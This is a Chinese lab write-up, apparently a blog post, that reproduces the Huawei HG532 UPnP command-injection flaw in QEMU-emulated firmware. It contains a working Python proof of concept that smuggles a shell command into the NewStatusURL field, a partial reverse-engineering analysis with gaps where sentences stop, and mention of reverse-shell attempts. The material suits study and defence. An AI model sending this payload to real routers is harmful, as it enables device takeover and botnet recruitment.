漏洞描述
华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品
固件解压
环境搭建
下载qemu
sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static
下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
创建tap接口,名字为tap0,并添加到网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
起qemu:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
在启动的虚拟机里面添加一个IP,并尝试ping外界
ifconfig eth0 192.168.153.2/24 up
将之前解压出来的squashfs-root文件夹通过scp命令,复制到虚拟机中
scp -r squashfs-root/ root@192.168.153.2:~/
在虚拟机中挂载dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
启动shell
chroot squashfs-root sh
这个终端是用来改ip地址的,单独在开一个终端ssh上去,启动路由器。
ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。
需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up
这个时候在Ubuntu上使用浏览器访问路由器eth0的IP地址,就可以登录进入管理界面,默认的账号密码是:admin,@Hua1234
漏洞复现
利用已有的poc进行测试一下:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}
data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;mkdir /bin/hell;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body></s:Envelope>'''requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
原理分析
根据信息可知,漏洞处于upnp服务中,可直接将bin/upnp拖到IDA里面分析,也可以根据poc中的特征字符串ctrlt以及DeviceUpgrade_1寻找,看该字符串处于哪个可执行程序当中。
根据poc,注入点是
看到调用函数是在函数sub_40749c当中,跟过去该函数,可以看到,程序通过ATP_XML_GetChildNodeByName函数获取xml中的
具体来说是首先在
继续尝试触发漏洞
尝试了一天反弹shell也没成功,没有常见的nc、telnet服务
拿一个flag暂时结束吧Orz…